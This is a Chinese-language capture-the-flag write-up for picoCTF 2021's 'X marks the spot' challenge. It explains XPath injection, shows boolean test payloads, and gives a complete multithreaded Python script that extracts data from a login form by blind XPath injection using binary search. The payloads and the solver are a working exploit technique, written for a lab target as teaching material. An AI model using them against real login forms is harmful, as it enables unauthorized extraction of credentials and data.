picoCTF 2021 X marks the spot
這題是 picoCTF 2021 的 Web 題:X marks the spot,
打開之後很樸素:一個登入頁,兩個欄位,username 和 password。
但頁面上故意寫了一句很可疑的話:
I don't use any of those regular old unsafe query languages!
這句話幾乎是在明示:我不是 SQL,一開始看到登入框,直覺會想丟一個 ' or 1=1--,可是這題真正值得學的地方不是「背一個萬用 payload」,而是要理解:
有些查詢語言不是 SQL,但注入的邏輯一模一樣,網站只肯回你 TRUE/FALSE,一樣能把資料一個字一個字問出來,這題就是 XPath 盲注。
題目資訊
- 題目:X marks the spot
- 分類:Web Exploitation
- 平台:picoCTF 2021
- 連結:https://learn.cylabacademy.org/library/185
什麼是 XPath Injection
XPath 是拿來查 XML 文件的查詢語言,它跟 SQL 有點像,差別是 SQL 查資料表,XPath 查 XML 節點。
例如:
/root/user[name='admin' and pass='password']
意思大概是:
找到<root>底下的<user>,而且<name>是admin、<pass>是password。
如果後端把使用者輸入直接拼進 XPath,就會出現 XPath injection,它跟 SQLi 的成因其實是同一件事:
使用者可控的字串,被直接拼進查詢語句,改變了查詢的結構
差別只是查詢語言從 SQL 換成 XPath,
Step 1:先觀察登入頁與提示
先把題目給的線索攤開:
- 一個登入頁,
username和password兩個欄位 - 提示語:
I don't use any of those regular old unsafe query languages! - 題名叫
X marks the spot - 原始碼註解裡放了一首 Robert Frost 的詩,內文有 road、path 這類字
把這些線索連起來:
不是 SQL(提示語自己說的)
一直暗示 path(題名、詩)
那會不會是 XPath?
這一步還不需要打任何 payload,只是先建立一個假設:這題大概率是 XPath,接下來每一步,都是在驗證或推翻這個假設。
Step 2:確認有沒有布林訊號
這題有趣的地方是,它不是讓我們直接登入成功拿頁面,而是給我們一個布林訊號。
先送一個永遠為真的 payload:
' or '1'='1
網站回:
You're on the right path
再送一個永遠為假的 payload:
' or '1'='2
網站回登入失敗。
同一組輸入、只差一個字元,回應就穩定不同,這代表:我們不一定看得到查詢結果,但可以得到 yes/no,這就是 blind injection 的味道——頁面本身不吐資料,但它會用「兩種不同回應」當作真假的答案。
Step 3:確認 XPath expression 真的被執行
只證明「有真假差異」還不夠,因為那也可能只是密碼錯誤造成的,下一步要證明:我們塞進去的東西真的是被當成 XPath 在算。
測一個一定為真的 XPath 函數:
' or starts-with('abc','a') or '1'='2
回應是 TRUE(right path)。
再測一個一定為假的:
' or starts-with('abc','z') or '1'='2
回應是 FALSE。
starts-with('abc','a') 和 starts-with('abc','z') 差別只在函數結果,而網站的回應跟著函數結果變,這幾乎可以確認:我們塞進去的 XPath expression 真的被後端執行了,到這裡假設就成立了:這是 XPath injection,而且是 blind 的。
Step 4:搞清楚我們到底在問什麼
在自動化之前,先用一個 toy example 把「我們到底怎麼把 flag 問出來」講清楚。
假設後端 XML 長這樣:
<root>
<user>
<name>admin</name>
<pass>secret123</pass>
</user>
<flag>picoCTF{hat}</flag>
</root>
後端原本大概是這種查詢:
/root/user[name='admin' and pass='使用者輸入']
正常輸入 abc 會變成:
/root/user[name='admin' and pass='abc']
查不到,所以失敗。
但如果密碼欄輸入:
' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2
後端拼起來會變成類似:
/root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2']
核心是這一段:
starts-with(substring-after(string(/*),'picoCTF{'),'h')
由內往外拆:
string(/*) 會把 XML 根節點底下的文字全部串成一個字串,概念上像:
admin secret123 picoCTF{hat}
substring-after(string(/*),'picoCTF{') 取出 picoCTF{ 後面的內容:
hat}
starts-with('hat}','h') 問這串是不是 h 開頭,答案是 TRUE,
網站不會直接把 hat} 印給我們,但它會透過「right path」或「login failure」告訴我們這個問題的 TRUE/FALSE。
所以我們其實是在玩一個 yes/no 遊戲:
| 問題 | 回答 | 推論 |
|---|---|---|
picoCTF{ 後面是不是 a 開頭? |
FALSE | 不是 a |
是不是 b 開頭? |
FALSE | 不是 b |
是不是 h 開頭? |
TRUE | 第一個字是 h |
是不是 ha 開頭? |
TRUE | 第二個字是 a |
是不是 hat 開頭? |
TRUE | 第三個字是 t |
是不是 hat} 開頭? |
TRUE | 結束 |
一句話講完:
每次只問一個 yes/no 問題,靠很多次 yes/no 把藏在 XML 裡的文字拼出來。
Step 5:把逐字元改成可平行的問法
Step 4 那種 starts-with(prefix + candidate) 的做法有一個缺點:前後相依。
不知道第一個字,就沒辦法問第二個字
不知道第二個字,就沒辦法問第三個字
只能一位一位往後推,很慢。
換個問法就不一樣了:
substring(flag_body, pos, 1)
它不是問「目前 prefix 對不對」,而是直接問「第 pos 個字元是什麼」,例如:
substring(flag_body, 5, 1)
就是單獨問第 5 個字元,每個位置彼此獨立:
| 位置 | 問題 |
|---|---|
| 1 | 第 1 個字元是什麼? |
| 2 | 第 2 個字元是什麼? |
| 3 | 第 3 個字元是什麼? |
| 10 | 第 10 個字元是什麼? |
位置獨立,就可以多線程同時問,不用等前一位。
再進一步,每個位置也不用把 95 個 printable ASCII 一個一個試,可以用二分法:
contains('一半候選字元', substring(flag_body, pos, 1))
TRUE 代表該字元在左半邊,FALSE 代表在右半邊,95 個候選字元,大約 7 次查詢就能定位一個字元,到這裡策略就完整了:先問出長度,再對每個位置用二分法找字元,位置之間平行跑。
Step 6:自動化抽取整個 flag
把 Step 5 的策略寫成腳本,它做的事情是:
- 先確認 XML 裡有
picoCTF{ - 用
substring-before(..., '}')只抓{到}中間的內容 - 用二分法找每個位置的字元
- 用 thread pool 讓不同位置平行查詢
- 不在輸出裡保留真實 flag
先設定目標與參數:
BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1
如果伺服器回應不穩,把並行數降低、投票數提高:
WORKERS=6
VOTES=3
腳本:
import os
import time
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
BASE = os.environ["BASE"].rstrip("/")
WORKERS = int(os.environ.get("WORKERS", "8"))
VOTES = int(os.environ.get("VOTES", "1"))
KNOWN = "picoCTF{"
CHARS = ''.join(chr(i) for i in range(32, 127))
_tl = threading.local()
def sess():
s = getattr(_tl, "s", None)
if s is None:
s = requests.Session()
_tl.s = s
return s
def lit(s):
if "'" not in s:
return "'" + s + "'"
if '"' not in s:
return '"' + s + '"'
parts = []
for i, p in enumerate(s.split("'")):
if i:
parts.append('"\'"')
if p:
parts.append("'" + p + "'")
return "concat(" + ",".join(parts) + ")"
AFTER = f"substring-after(string(/*),{lit(KNOWN)})"
BODY = f"substring-before({AFTER},{lit('}')})"
def one(expr):
payload = f"' or {expr} or '1'='2"
for _ in range(3):
try:
r = sess().post(
BASE + "/",
data={"name": "admin", "pass": payload},
timeout=10,
)
return "right path" in r.text.lower()
except requests.RequestException:
time.sleep(0.25)
raise RuntimeError("request failed")
def oracle(expr, votes=None):
votes = votes or VOTES
yes = 0
for _ in range(votes):
yes += one(expr)
time.sleep(0.02)
return yes >= (votes // 2 + 1)
def length_ge(n):
return oracle(f"string-length({BODY})>={n}")
def get_length():
if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3):
raise SystemExit("[!] cannot confirm picoCTF{")
if not oracle(f"contains({AFTER},{lit('}')})", votes=3):
raise SystemExit("[!] cannot confirm closing }")
lo, hi = 0, 1
while length_ge(hi):
lo, hi = hi, hi * 2
if hi > 256:
raise SystemExit("[!] length too large, check target/noise")
while hi - lo > 1:
mid = (lo + hi) // 2
if length_ge(mid):
lo = mid
else:
hi = mid
return lo
def char_expr(pos):
return f"substring({BODY},{pos},1)"
def char_at(pos):
pool = CHARS
while len(pool) > 1:
mid = len(pool) // 2
left = pool[:mid]
if oracle(f"contains({lit(left)},{char_expr(pos)})"):
pool = left
else:
pool = pool[mid:]
c = pool[0]
if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
return c
for c in CHARS:
if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
return c
return None
print("[+] probing body length...", flush=True)
L = get_length()
print(f"[+] body length = {L}", flush=True)
result = [None] * (L + 1)
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = {
ex.submit(char_at, pos): pos
for pos in range(1, L + 1)
}
for fut in as_completed(futs):
pos = futs[fut]
try:
result[pos] = fut.result()
except Exception as e:
print(f"[!] pos {pos} error: {e}", flush=True)
print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True)
missing = [
i for i in range(1, L + 1)
if result[i] is None
]
if missing:
print("[!] retry missing positions sequentially:", missing, flush=True)
for pos in missing:
result[pos] = char_at(pos)
print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True)
body = ''.join(result[i] or '?' for i in range(1, L + 1))
print("[+] flag:", KNOWN + body + "}", flush=True)
if "?" in body:
print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True)
執行方式:
BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1
BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py
跑完就會把 flag 一個位置一個位置拼出來,如果輸出裡還有 ?,代表某些位置在雜訊下沒問穩定,照提示改成 WORKERS=6 VOTES=3 再跑一次。
學習重點
這題最值得帶走的不是 XPath 語法,而是這個思考方式:
你是不是 XPath?
你會不會給我穩定的真假?
我塞的函數你有沒有真的算?
我能不能逐字元問?
我能不能不照順序問、還能平行問?
以後看到只回真假的功能時,可以特別注意:
- 登入、搜尋、篩選這種功能,背後是不是用 XML+XPath?
- 頁面提示「不用 SQL」、「query language」、「path」、「XML」、「document」時,是不是在暗示查詢語言?
- 就算沒有 error 訊息,只要回應有穩定的兩種狀態,就可能是一條盲注通道。
Member discussion